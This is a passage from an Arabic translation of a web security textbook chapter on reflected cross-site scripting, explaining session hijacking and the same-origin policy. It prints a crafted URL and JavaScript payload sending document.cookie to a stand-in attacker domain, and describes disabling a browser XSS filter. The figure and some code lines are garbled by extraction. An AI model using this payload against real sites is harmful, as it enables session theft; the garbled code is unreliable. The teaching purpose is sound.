‫ﻣﻠﺤﻮﻇﺔﺇﺫﺍ ﺟﺮﺑﺖ َﺃﻣﺜﻠﺔ ًﻛﻬﺬﻩ ﻓﻲ ﻣﺘﺼﻔﺢ ﺇﻧﺘﺮﻧﺖ ﺇﻛﺴﺒﻠﻮﺭﺭ‪ ،‬ﻓﻘﺪ ﻻ ﺗﻈﻬﺮ ﺍﻟﻨﺎﻓﺬﺓ ﺍﻟﻤﻨﺒﺜﻘﺔ‪ ،‬ﻭﻗﺪ‬
‫ﻳﻌﺮﺽﺍﻟﻤﺘﺼﻔﺢ ﺭﺳﺎﻟﺔ "ﻋﺪﻝّ ﺇﻧﺘﺮﻧﺖ ﺇﻛﺴﺒﻠﻮﺭﺭ ﻫﺬﻩ ﺍﻟﺼﻔﺤﺔ ﻟﻠﻤﺴﺎﻋﺪﺓ ﻓﻲ ﻣﻨﻊ ﻫﺠﻤﺎﺕ ﺍﻟﺒﺮﻣﺠﺔ‬
‫ﺍﻟﻨﺼﻴﺔﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ"‪ .‬ﻫﺬﺍ ﻷﻥ ﺍﻹﺻﺪﺍﺭﺍﺕ ﺍﻟﺤﺪﻳﺜﺔ ﻣﻦ ﺇﻧﺘﺮﻧﺖ ﺇﻛﺴﺒﻠﻮﺭﺭ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﺁﻟﻴﺔ ﻣﺪﻣﺠﺔ‬
‫ﻣﺼﻤﻤﺔﻟﺤﻤﺎﻳﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﻣﻦ ﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﻤﻨﻌﻜﺴﺔ‪ .‬ﻻﺧﺘﺒﺎﺭ ﻫﺬﻩ ﺍﻷﻣﺜﻠﺔ‪ ،‬ﻳﻤﻜﻨﻚ ﺗﺠﺮﺑﺔ‬
‫ﻣﺘﺼﻔﺢﺁﺧﺮ ﻻ ﻳﺴﺘﺨﺪﻡ ﻫﺬﻩ ﺍﻟﺤﻤﺎﻳﺔ‪ ،‬ﺃﻭ ﻳﻤﻜﻨﻚ ﺗﻌﻄﻴﻞ ﻣﺮُﺷﺢِّ ‪ XSS‬ﺑﺎﻟﺬﻫﺎﺏ ﺇﻟﻰ "ﺍﻷﺩﻭﺍﺕ"‪.‬ﺇ‬
‫ﺧﻴﺎﺭﺍﺕﺍﻹﻧﺘﺮﻧﺖﺇﺣﻤﺎﻳﺔﺇﻣﺴﺘﻮﻯ ﻣﺨﺼﺺ‪ .‬ﺿﻤﻦ "ﺗﻔﻌﻴﻞ ﻣﺮﺷﺢ ‪ ،"XSS‬ﺣﺪﺩ "ﺗﻌﻄﻴﻞ"‪ .‬ﺳﻨﺸﺮﺡ‬
‫ﻻﺣﻘﺎًﻓﻲ ﻫﺬﺍ ﺍﻟﻔﺼﻞ ﻛﻴﻔﻴﺔ ﻋﻤﻞ ﻣﺮﺷﺢ ‪ ،XSS‬ﻭﻛﻴﻔﻴﺔ ﺗﺠﺎﻭﺯﻩ‪.‬‬

‫ﻳﻤُﺜﻞﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻣﻦ ﺃﺧﻄﺎء ‪ XSS‬ﺍﻟﺒﺴﻴﻄﺔ ﺣﻮﺍﻟﻲ ‪ %75‬ﻣﻦ ﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﻤﻮﺟﻮﺩﺓ ﻓﻲ ﺗﻄﺒﻴﻘﺎﺕ‬


‫ﺍﻟﻮﻳﺐﺍﻟﻔﻌﻠﻴﺔ‪ .‬ﻭﻳﺴُﻤﻰﻣﻨﻌﻜﺲ ﻷﻥ ﺍﺳﺘﻐﻼﻝ ﺍﻟﺜﻐﺮﺓ ﺍﻷﻣﻨﻴﺔ ﻳﺘﻀﻤﻦ ﺻﻴﺎﻏﺔ ﻃﻠﺐ ﻳﺤﺘﻮﻱ ﻋﻠﻰ‬
‫ﺟﺎﻓﺎﺳﻜﺮﻳﺒﺖ ﻣﻀُﻤﻦّ‪ ،‬ﻳﻌُﺮﺽ ﻋﻠﻰ ﺃﻱ ﻣﺴﺘﺨﺪﻡ ﻳﻘُﺪﻡّ ﺍﻟﻄﻠﺐ‪ .‬ﻳﺘﻢ ﺗﺴﻠﻴﻢ ﺣﻤﻮﻟﺔ ﺍﻟﻬﺠﻮﻡ‬
‫ﻭﺗﻨﻔﻴﺬﻫﺎﻋﺒﺮ ﻃﻠﺐ ﻭﺍﺳﺘﺠﺎﺑﺔ ﻭﺍﺣﺪﺓ‪ .‬ﻟﻬﺬﺍ ﺍﻟﺴﺒﺐ‪ ،‬ﻳﻄُﻠﻖ ﻋﻠﻴﻪ ﺃﺣﻴﺎﻧﺎً ﺍﺳﻢ ‪XSS‬ﻓﺎﻱﺃﻭﻻً‪-‬ﻃﻠﺐ‪XSS.‬‬
‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬ ‫‪436‬‬

‫ﺍﺳﺘﻐﻼﻝﺍﻟﺜﻐﺮﺍﺕ ﺍﻷﻣﻨﻴﺔ‬
‫ﻛﻤﺎﺳﺘﺮﻭﻥ‪ ،‬ﻳﻤُﻜﻦ ﺍﺳﺘﻐﻼﻝ ﺛﻐﺮﺍﺕ ‪ XSS‬ﺑﻄﺮﻕ ٍﻣﺨُﺘﻠﻔﺔ ﻟﻤﻬﺎﺟﻤﺔ ﻣﺴُﺘﺨﺪﻣﻴﻦ ﺁﺧﺮﻳﻦ ﻟﺘﻄﺒﻴﻖ ٍﻣﺎ‪.‬‬
‫ﺇﺣﺪﻯﺃﺑﺴﻂ ﺍﻟﻬﺠﻤﺎﺕ‪ ،‬ﻭﺍﻷﻛﺜﺮ ﺷﻴﻮﻋﺎً ﻟﺘﻮﺿﻴﺢ ﺍﻷﻫﻤﻴﺔ ﺍﻟﻤﺤُﺘﻤﻠﺔ ﻟﺜﻐﺮﺍﺕ ‪ ،XSS‬ﻫﻲ ﻗﻴﺎﻡ ﺍﻟﻤﻬُﺎﺟﻢ‬
‫ﺑﺎﻻﺳﺘﻴﻼءﻋﻠﻰ ﺭﻣﺰ ﺟﻠﺴﺔ ﻣﺴُﺘﺨﺪﻡ ﻣﺼُﺎﺩﻕ ﻋﻠﻴﻪ‪ .‬ﻳﺘُﻴﺢ ﺍﺧﺘﻄﺎﻑ ﺟﻠﺴﺔ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻟﻠﻤﻬُﺎﺟﻢ‬
‫ﺍﻟﻮﺻﻮﻝﺇﻟﻰ ﺟﻤﻴﻊ ﺍﻟﺒﻴﺎﻧﺎﺕ ﻭﺍﻟﻮﻇﺎﺉﻒ ﺍﻟﻤﺼُﺮﺡّ ﻟﻬﺎ ﻟﻠﻤﺴﺘﺨﺪﻡ )ﺍﻧﻈﺮ ﺍﻟﻔﺼﻞ ‪.(7‬‬

‫ﺍﻟﺨﻄﻮﺍﺕﺍﻟﻤﺘﺒﻌﺔ ﻓﻲ ﻫﺬﺍ ﺍﻟﻬﺠﻮﻡ ﻣﻮﺿﺤﺔ ﻓﻲ ﺍﻟﺸﻜﻞ ‪.3-12‬‬

‫ﻃﻠﺐ‬
‫‪.3‬ﻳ‬
‫ﻄﻠ‬
‫ﺐﺍ‬
‫‪.1‬ﺗ‬
‫ﺴﺠ‬

‫ﻟﻤ‬
‫ﻴﻞ‬

‫‪rip .4‬‬
‫ﺴ‬

‫ﻳ‬
‫ﺩ‬

‫ﺴ‬
‫ﺧﻮ‬

‫ﺘﺨ‬
‫ﻝﺍ‬

‫ﺘﺠﻴ ‪va‬‬

‫‪t‬‬
‫ﺪﻡ‬
‫ﻟﻤ‬
‫ﺴ‬

‫ﺐ‬
‫ﻋ‬
‫ﺘﺨ‬

‫‪Sc‬‬
‫ﻨﻮ‬
‫ﺪﻡ‬

‫ﺍﻟﺨ ﺨﺎ‬
‫ﺍﻥ‬

‫ﺎﺩﻡ ﺹ‬

‫‪Ja‬‬
‫‪RL‬‬

‫ﺍﻟ‬
‫ﺑﺎ‬
‫‪U‬‬

‫ﺳ‬
‫ﻟﻠ‬

‫ﺘ‬
‫ﺨﺪ‬
‫ﻤ‬
‫ﻬﺎ‬

‫ﺍﻡ‬

‫ﺑﺎ‬
‫ﺟﻢ‬

‫ﻟﻤ‬
‫ﻬﺎ‬

‫ﺪﻡ‬
‫ﺟﻢ‬

‫ﺘﺨ‬
‫ﺴ‬
‫ﻟﻤ‬
‫‪.5‬ﺍﻟﻤﻬﺎﺟﻢ‬

‫ﺔﺍ‬
‫ﺴ‬
‫ﺟﻠ‬
‫‪.2‬ﻳﻘﻮﻡ ﺍﻟﻤﻬﺎﺟﻢ ﺑﺈﺭﺳﺎﻝ ﻋﻨﻮﺍﻥ ‪ URL‬ﺍﻟﻤﺼﻤﻢ ﻟﻠﻤﺴﺘﺨﺪﻡ‬ ‫ﺟﺎﻓﺎﺳﻜﺮﻳﺒﺖ‬

‫ﻑ‬
‫ﻳﻨﻔﺬﻓﻲ‬

‫ﻄﺎ‬
‫‪.6‬ﻳﺮﺳﻞ ﻣﺘﺼﻔﺢ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺭﻣﺰ ﺍﻟﺠﻠﺴﺔ ﺇﻟﻰ ﺍﻟﻤﻬﺎﺟﻢ‬

‫ﺧﺘ‬
‫ﺑﺎ‬
‫ﻣﺘﺼﻔﺢﺍﻟﻤﺴﺘﺨﺪﻡ‬

‫ﺎﺟ‬‫ﻢ‬
‫ﻤﻬ‬
‫ﻣﻬﺎﺟﻢ‬

‫ﺍﻟ‬
‫ﻣﺴﺘﺨﺪﻡ‬

‫ﻮﻡ‬
‫ﻳﻘ‬
‫ﺍﻟﺸﻜﻞ‪:3-12‬ﺍﻟﺨﻄﻮﺍﺕ ﺍﻟﻤﺘﺒﻌﺔ ﻓﻲ ﻫﺠﻮﻡ ‪ XSS‬ﺍﻟﻤﻨﻌﻜﺲ‬
‫‪.7‬‬
‫‪.1‬ﻳﻘﻮﻡ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺑﺘﺴﺠﻴﻞ ﺍﻟﺪﺧﻮﻝ ﺇﻟﻰ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺸﻜﻞ ﻃﺒﻴﻌﻲ ﻭﻳﺘﻢ ﺇﺻﺪﺍﺭ ﻣﻠﻒ ﺗﻌﺮﻳﻒ‬
‫ﺍﺭﺗﺒﺎﻁﻟﻪ ﻳﺤﺘﻮﻱ ﻋﻠﻰ ﺭﻣﺰ ﺟﻠﺴﺔ‪:‬‬

‫ﻣﺠﻤﻮﻋﺔﻣﻠﻔﺎﺕ ﺗﻌﺮﻳﻒ ﺍﻻﺭﺗﺒﺎﻁ‪sessId=184a9138ed37374201a4c9672362f12459c2a652491a3 :‬‬

‫‪.2‬ﻣﻦ ﺧﻼﻝ ﺑﻌﺾ ﺍﻟﻮﺳﺎﺉﻞ )ﺍﻟﻤﻮﺿﺤﺔ ﺑﺎﻟﺘﻔﺼﻴﻞ ﻻﺣﻘﺎً(‪ ،‬ﻳﻘﻮﻡ ﺍﻟﻤﻬﺎﺟﻢ ﺑﺈﺭﺳﺎﻝ ﻋﻨﻮﺍﻥ ‪URL‬‬
‫ﺍﻟﺘﺎﻟﻲﻟﻠﻤﺴﺘﺨﺪﻡ‪:‬‬
‫<‪;+i.src=”http://mdattacker.net/”%2bdocument.cookie;>/script‬‬
‫‪http://mdsec.net/error/5/Error.ashx?message=>script<var+i=new+Image‬‬

‫ﻛﻤﺎﻓﻲ ﺍﻟﻤﺜﺎﻝ ﺍﻟﺴﺎﺑﻖ‪ ،‬ﺍﻟﺬﻱ ﻭﻟﺪّ ﺭﺳﺎﻟﺔ ﺣﻮﺍﺭ‪ ،‬ﻳﺤﺘﻮﻱ ﻫﺬﺍ ﺍﻟﺮﺍﺑﻂ ﻋﻠﻰ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ‬
‫ﻣﻀُﻤﻦّ‪.‬ﻣﻊ ﺫﻟﻚ‪ ،‬ﻓﺈﻥ ﺣﻤﻮﻟﺔ ﺍﻟﻬﺠﻮﻡ ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ ﺃﻛﺜﺮ ﺿﺮﺭﺍً‪.‬‬

‫‪.3‬ﻳﻄﻠﺐ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻣﻦ ﺍﻟﺘﻄﺒﻴﻖ ﻋﻨﻮﺍﻥ ‪ URL‬ﺍﻟﺬﻱ ﻗﺪﻣﻪ ﻟﻪ ﺍﻟﻤﻬﺎﺟﻢ‪.‬‬


‫‪437‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬

‫‪.٤‬ﻳﺴﺘﺠﻴﺐ ﺍﻟﺨﺎﺩﻡ ﻟﻄﻠﺐ ﺍﻟﻤﺴﺘﺨﺪﻡ‪ .‬ﻧﺘﻴﺠﺔ ًﻟﺜﻐﺮﺓ ‪ ،XSS‬ﺗﺤﺘﻮﻱ ﺍﻻﺳﺘﺠﺎﺑﺔ ﻋﻠﻰ ﺷﻔﺮﺓ‬
‫‪ JavaScript‬ﺍﻟﺘﻲ ﺃﻧﺸﺄﻫﺎ ﺍﻟﻤﻬﺎﺟﻢ‪.‬‬
‫‪.5‬ﻳﺴﺘﻘﺒﻞ ﻣﺘﺼﻔﺢ ﺍﻟﻤﺴﺘﺨﺪﻡ ‪ JavaScript‬ﺍﻟﺨﺎﺹ ﺑﺎﻟﻤﻬﺎﺟﻢ ﻭﻳﻨﻔﺬﻩ ﺑﻨﻔﺲ ﺍﻟﻄﺮﻳﻘﺔ ﺍﻟﺘﻲ‬
‫ﻳﻨﻔﺬﺑﻬﺎ ﺃﻱ ﻛﻮﺩ ﺁﺧﺮ ﻳﺘﻠﻘﺎﻩ ﻣﻦ ﺍﻟﺘﻄﺒﻴﻖ‪.‬‬
‫‪:‬ﺍﻟﺨﺒﻴﺚﺍﻟﺬﻱ ﺃﻧﺸﺄﻩ ﺍﻟﻤﻬﺎﺟﻢ ﻫﻮ ‪6. JavaScript‬‬

‫؛‪ i.src=”http://mdattacker.net/”+document.cookie‬ﺻﻮﺭﺓ ﺟﺪﻳﺪﺓ؛=‪var i‬‬

‫ﻳﺆﺩﻱﻫﺬﺍ ﺍﻟﻜﻮﺩ ﺇﻟﻰ ﺟﻌﻞ ﻣﺘﺼﻔﺢ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻳﻘﻮﻡ ﺑﺘﻘﺪﻳﻢ ﻃﻠﺐ ﺇﻟﻰ‪mdattacker.net‬‬
‫ﻭﻫﻮﻧﻄﺎﻕ ﻣﻤﻠﻮﻙ ﻟﻠﻤﻬﺎﺟﻢ‪ .‬ﻳﺤﺘﻮﻱ ﺍﻟﻄﻠﺐ ﻋﻠﻰ ﺭﻣﺰ ﺟﻠﺴﺔ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻟﺤﺎﻟﻴﺔ ﻟﻠﺘﻄﺒﻴﻖ‪:‬‬

‫ﺍﺣﺼﻞﻋﻠﻰ ‪ sessId=184a9138ed37374201a4c9672362f12459c2a652491a3 HTTP/1.1/‬ﺍﻟﻤﻀﻴﻒ‪:‬‬


‫‪mdattacker.net‬‬

‫‪.7‬ﻳﻘﻮﻡ ﺍﻟﻤﻬﺎﺟﻢ ﺑﻤﺮﺍﻗﺒﺔ ﺍﻟﻄﻠﺒﺎﺕ ﺇﻟﻰ‪mdattacker.net‬ﻭﻳﺴﺘﻘﺒﻞ ﻃﻠﺐ ﺍﻟﻤﺴﺘﺨﺪﻡ‪ .‬ﻳﺴﺘﺨﺪﻡ‬


‫ﺍﻟﺮﻣﺰﺍﻟﻤﺴُﺠﻞَّ ﻻﺧﺘﻄﺎﻑ ﺟﻠﺴﺔ ﺍﻟﻤﺴﺘﺨﺪﻡ‪ ،‬ﻭﺍﻟﻮﺻﻮﻝ ﺇﻟﻰ ﻣﻌﻠﻮﻣﺎﺗﻪ ﺍﻟﺸﺨﺼﻴﺔ‪ ،‬ﻭﺍﻟﻘﻴﺎﻡ‬
‫ﺑﺄﻓﻌﺎﻝﻋﺸﻮﺍﺉﻴﺔ ﺑﺼﻔﺘﻪ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻧﻔﺴﻪ‪.‬‬

‫ﻣﻠﺤﻮﻇﺔﻛﻤﺎ ﺭﺃﻳﺘﻢ ﻓﻲ ﺍﻟﻔﺼﻞ ﺍﻟﺴﺎﺩﺱ‪ ،‬ﺗﺨُﺰﻥّ ﺑﻌﺾ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﻣﻠﻒ ﺗﻌﺮﻳﻒ ﺍﺭﺗﺒﺎﻁ ﺩﺍﺉﻢ‬
‫ﻳﻌُﻴﺪﻣﺼﺎﺩﻗﺔ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺑﻔﻌﺎﻟﻴﺔ ﻓﻲ ﻛﻞ ﺯﻳﺎﺭﺓ‪ ،‬ﻣﺜﻼ ًﻟﺘﻄﺒﻴﻖ ﺧﺎﺻﻴﺔ "ﺗﺬﻛﺮﻧﻲ"‪ .‬ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ‪ ،‬ﻻ‬
‫ﺩﺍﻋﻲﻟﻠﺨﻄﻮﺓ ﺍﻷﻭﻟﻰ ﻣﻦ ﺍﻟﻌﻤﻠﻴﺔ ﺍﻟﺴﺎﺑﻘﺔ‪ .‬ﺳﻴﻨﺠﺢ ﺍﻟﻬﺠﻮﻡ ﺣﺘﻰ ﻟﻮ ﻟﻢ ﻳﻜﻦ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻟﻤﺴﺘﻬﺪﻑ‬
‫ﻣﺴُﺠﻼّ ًﺩﺧﻮﻟﻪ ﺇﻟﻰ ﺍﻟﺘﻄﺒﻴﻖ ﺃﻭ ﻻ ﻳﺴﺘﺨﺪﻣﻪ‪ .‬ﻟﻬﺬﺍ ﺍﻟﺴﺒﺐ‪ ،‬ﺗﺼُﺒﺢ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺍﻟﺘﻲ ﺗﺴﺘﺨﺪﻡ‬
‫ﻣﻠﻔﺎﺕﺗﻌﺮﻳﻒ ﺍﻻﺭﺗﺒﺎﻁ ﺑﻬﺬﻩ ﺍﻟﻄﺮﻳﻘﺔ ﺃﻛﺜﺮ ﻋﺮُﺿﺔ ًﻟﺨﻄﺮ ﺃﻱ ﺛﻐﺮﺍﺕ ‪ XSS‬ﺗﺤﺘﻮﻱ ﻋﻠﻴﻬﺎ‪.‬‬

‫ﺑﻌﺪﻗﺮﺍءﺓ ﻛﻞ ﻫﺬﺍ‪ ،‬ﻗﺪ ﻳﻐُﻔﺮ ﻟﻚ ﺗﺴﺎﺅﻟﻚ‪ :‬ﻟﻤﺎﺫﺍ‪ ،‬ﺇﺫﺍ ﻛﺎﻥ ﺍﻟﻤﻬﺎﺟﻢ ﻗﺎﺩﺭﺍً ﻋﻠﻰ ﺣﺚ ﺍﻟﻤﺴﺘﺨﺪﻡ‬
‫ﻋﻠﻰﺯﻳﺎﺭﺓ ﺭﺍﺑﻂ ﻣﻦ ﺍﺧﺘﻴﺎﺭﻩ‪ ،‬ﻳﻜُﻠﻒ ﻧﻔﺴﻪ ﻋﻨﺎء ﻧﻘﻞ ﺷﻔﺮﺓ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ ﺍﻟﺨﺒﻴﺜﺔ ﻋﺒﺮ ﺛﻐﺮﺓ ‪ XSS‬ﻓﻲ‬
‫ﺍﻟﺘﻄﺒﻴﻖﺍﻟﻤﻌُﺮﺽّ ﻟﻠﺨﻄﺮ؟ ﻟﻤﺎﺫﺍ ﻻ ﻳﺴﺘﻀﻴﻒ ﺑﺒﺴﺎﻃﺔ ﻧﺼﺎً ﺑﺮﻣﺠﻴﺎً ﺧﺒﻴﺜﺎً ﻋﻠﻰ‪mdattacker.net...‬‬

‫ﻭﺃﺭﺳﻞﻟﻠﻤﺴﺘﺨﺪﻡ ﺭﺍﺑﻄﺎً ﻣﺒﺎﺷﺮﺍً ﻟﻬﺬﺍ ﺍﻟﻨﺺ؟ ﺃﻟﻦ ﻳﻨُﻔﺬَّ ﻫﺬﺍ ﺍﻟﻨﺺ ﺑﻨﻔﺲ ﺍﻟﻄﺮﻳﻘﺔ ﺍﻟﻤﻮﺿﺤﺔ ﻓﻲ‬
‫ﺍﻟﻤﺜﺎﻝ؟‬
‫ﻟﻔﻬﻢﺳﺒﺐ ﺣﺎﺟﺔ ﺍﻟﻤﻬﺎﺟﻢ ﻻﺳﺘﻐﻼﻝ ﺛﻐﺮﺓ ‪ ،XSS‬ﺗﺬﻛﺮ ﺳﻴﺎﺳﺔ ﺍﻟﻤﺼﺪﺭ ﻧﻔﺴﻪ ﺍﻟﻤﻮﺿﺤﺔ ﻓﻲ‬
‫ﺍﻟﻔﺼﻞ‪ .3‬ﺗﻔﺼﻞ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﺍﻟﻤﺤﺘﻮﻯ ﺍﻟﻤﺴُﺘﻘﺒﻞَ ﻣﻦ ﻣﺼﺎﺩﺭ )ﻧﻄﺎﻗﺎﺕ( ﻣﺨﺘﻠﻔﺔ ﻓﻲ ﻣﺤﺎﻭﻟﺔ‬
‫ﻟﻤﻨﻊﺗﺪﺍﺧﻞ ﺍﻟﻨﻄﺎﻗﺎﺕ ﺍﻟﻤﺨﺘﻠﻔﺔ ﻣﻊ ﺑﻌﻀﻬﺎ ﺍﻟﺒﻌﺾ ﺩﺍﺧﻞ ﻣﺘﺼﻔﺢ ﺍﻟﻤﺴﺘﺨﺪﻡ‪ .‬ﻻ ﻳﻘﺘﺼﺮ ﻫﺪﻑ‬
‫ﺍﻟﻤﻬﺎﺟﻢﻋﻠﻰ ﺗﻨﻔﻴﺬ ﻧﺺ ﺑﺮﻣﺠﻲ ﻋﺸﻮﺍﺉﻲ‪ ،‬ﺑﻞ ﻳﺸﻤﻞ ﺃﻳﻀﺎً ﺍﻻﺳﺘﻴﻼء ﻋﻠﻰ ﺭﻣﺰ ﺟﻠﺴﺔ ﺍﻟﻤﺴﺘﺨﺪﻡ‪.‬‬
‫ﻻﺗﺴﻤﺢ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﻷﻱ ﻧﺺ ﺑﺮﻣﺠﻲ ﻋﺎﺩﻱ ﺑﺎﻟﻮﺻﻮﻝ ﺇﻟﻰ ﻣﻠﻔﺎﺕ ﺗﻌﺮﻳﻒ ﺍﺭﺗﺒﺎﻁ ﺍﻟﻨﻄﺎﻕ؛ ﻭﺇﻻ‪،‬‬
‫ﻟﻜﺎﻥﺍﺧﺘﻄﺎﻑ ﺍﻟﺠﻠﺴﺔ ﺳﻬﻼ‪ ً.‬ﺑﺪﻻ ًﻣﻦ ﺫﻟﻚ‪ ،‬ﻻ ﻳﻤﻜﻦ ﺍﻟﻮﺻﻮﻝ ﺇﻟﻰ ﻣﻠﻔﺎﺕ ﺗﻌﺮﻳﻒ ﺍﻻﺭﺗﺒﺎﻁ ﺇﻻ ﻣﻦ‬
‫ﻗﺒِﻞﺍﻟﻨﻄﺎﻕ ﺍﻟﺬﻱ ﺃﺻﺪﺭﻫﺎ‪ .‬ﺗﺮُﺳﻞَ ﻫﺬﻩ ﺍﻟﻤﻠﻔﺎﺕ ﻓﻲ ﻃﻠﺒﺎﺕ ‪ HTTP‬ﺇﻟﻰ ﺍﻟﻨﻄﺎﻕ ﺍﻟﻤﺼُﺪﺭ ﻓﻘﻂ‪،‬‬
‫ﻭﻳﻤﻜﻦﺍﻟﻮﺻﻮﻝ ﺇﻟﻴﻬﺎ ﻋﺒﺮ‬
‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬ ‫‪438‬‬

‫ﺟﺎﻓﺎﺳﻜﺮﻳﺒﺖ ﻣﻀﻤﻨﺔ ﺃﻭ ﻣﺤُﻤﻠّﺔ ﺑﺼﻔﺤﺔ ﻳﺮُﺟﻌﻬﺎ ﻫﺬﺍ ﺍﻟﻨﻄﺎﻕ ﻓﻘﻂ‪ .‬ﻟﺬﺍ‪ ،‬ﺇﺫﺍ ﻛﺎﻥ ﺍﻟﻨﺺ ﺍﻟﺒﺮﻣﺠﻲ‬
‫ﻣﻮﺟﻮﺩﺍًﻋﻠﻰ‪mdattacker.net‬ﺍﻻﺳﺘﻔﺴﺎﺭﺍﺕﻣﻠﻒ ﺗﻌﺮﻳﻒ ﺍﻻﺭﺗﺒﺎﻁ ‪،document.cookie‬ﻟﻦ ﻳﺤﺼﻞ ﻋﻠﻰ‬
‫ﻣﻠﻔﺎﺕﺗﻌﺮﻳﻒ ﺍﻻﺭﺗﺒﺎﻁ ﺍﻟﺼﺎﺩﺭﺓ ﻋﻦ‪mdsec.net،‬ﻭﺳﻮﻑ ﻳﻔﺸﻞ ﻫﺠﻮﻡ ﺍﻻﺧﺘﻄﺎﻑ‪.‬‬
‫ﺍﻟﺴﺒﺐﻭﺭﺍء ﻧﺠﺎﺡ ﺍﻟﻬﺠﻮﻡ ﺍﻟﺬﻱ ﻳﺴﺘﻐﻞ ﺛﻐﺮﺓ ‪ XSS‬ﻫﻮ ﺃﻧﻪ ﻓﻴﻤﺎ ﻳﺘﻌﻠﻖ ﺑﻤﺘﺼﻔﺢ ﺍﻟﻤﺴﺘﺨﺪﻡ‪،‬‬
‫ﻓﺈﻥﻟﻐﺔ ‪ JavaScript‬ﺍﻟﺨﺒﻴﺜﺔ ﺍﻟﺨﺎﺻﺔ ﺑﺎﻟﻤﻬﺎﺟﻢ ﻛﺎﻥﺃﺭﺳﻠﺖ ﺇﻟﻴﻪ ﺑﻮﺍﺳﻄﺔ‪mdsec.net.‬ﻋﻨﺪﻣﺎ ﻳﻄﻠﺐ‬
‫ﺍﻟﻤﺴﺘﺨﺪﻡﻋﻨﻮﺍﻥ ‪ URL‬ﺍﻟﺨﺎﺹ ﺑﺎﻟﻤﻬﺎﺟﻢ‪،‬‬
‫ﻳﻘﻮﻡﺍﻟﻤﺘﺼﻔﺢ ﺑﺈﺭﺳﺎﻝ ﻃﻠﺐ ﺇﻟﻰ‪http://mdsec.net/error/5/Error.ashx ،‬ﻭ ﺍﻝ‬
‫ﻳﺮُﺟﻊﺍﻟﺘﻄﺒﻴﻖ ﺻﻔﺤﺔ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﺑﻌﺾ ﻣﻠﻔﺎﺕ ‪ .JavaScript‬ﻛﻤﺎ ﻫﻮ ﺍﻟﺤﺎﻝ ﻣﻊ ﺃﻱ ‪JavaScript‬‬
‫ﻣﺴُﺘﻠﻢَﻣﻦ‪mdsec.net،‬ﻳﻘﻮﻡ ﺍﻟﻤﺘﺼﻔﺢ ﺑﺘﻨﻔﻴﺬ ﻫﺬﺍ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺿﻤﻦ ﺳﻴﺎﻕ ﺍﻷﻣﺎﻥ ﺍﻟﺨﺎﺹ‬
‫ﺑﻌﻼﻗﺔﺍﻟﻤﺴﺘﺨﺪﻡ ﻣﻊ‪mdsec.net.‬ﻟﻬﺬﺍ ﺍﻟﺴﺒﺐ‪ ،‬ﻳﻤﻜﻦ ﻟﻨﺺ ﺍﻟﻤﻬﺎﺟﻢ‪ ،‬ﻋﻠﻰ ﺍﻟﺮﻏﻢ ﻣﻦ ﺃﻧﻪ ﻳﻨﺸﺄ ﻓﻲ‬
‫ﺍﻟﻮﺍﻗﻊﻓﻲ ﻣﻜﺎﻥ ﺁﺧﺮ‪ ،‬ﺍﻟﻮﺻﻮﻝ ﺇﻟﻰ ﻣﻠﻔﺎﺕ ﺗﻌﺮﻳﻒ ﺍﻻﺭﺗﺒﺎﻁ ﺍﻟﺼﺎﺩﺭﺓ ﻋﻦ‪mdsec.net.‬ﻭﻫﺬﺍ ﻫﻮ‬
‫ﺍﻟﺴﺒﺐﺃﻳﻀﺎً ﻭﺭﺍء ﺃﻥ ﺍﻟﺜﻐﺮﺓ ﻧﻔﺴﻬﺎ ﺃﺻﺒﺤﺖ ﻣﻌﺮﻭﻓﺔ ﺑﺎﺳﻢﻳﻌﺒﺮ‪-‬ﺑﺮﻣﺠﺔ ﺍﻟﻤﻮﺍﻗﻊ‪.‬‬

‫ﺛﻐﺮﺍﺕ‪ XSS‬ﺍﻟﻤﺨﺰﻧﺔ‬
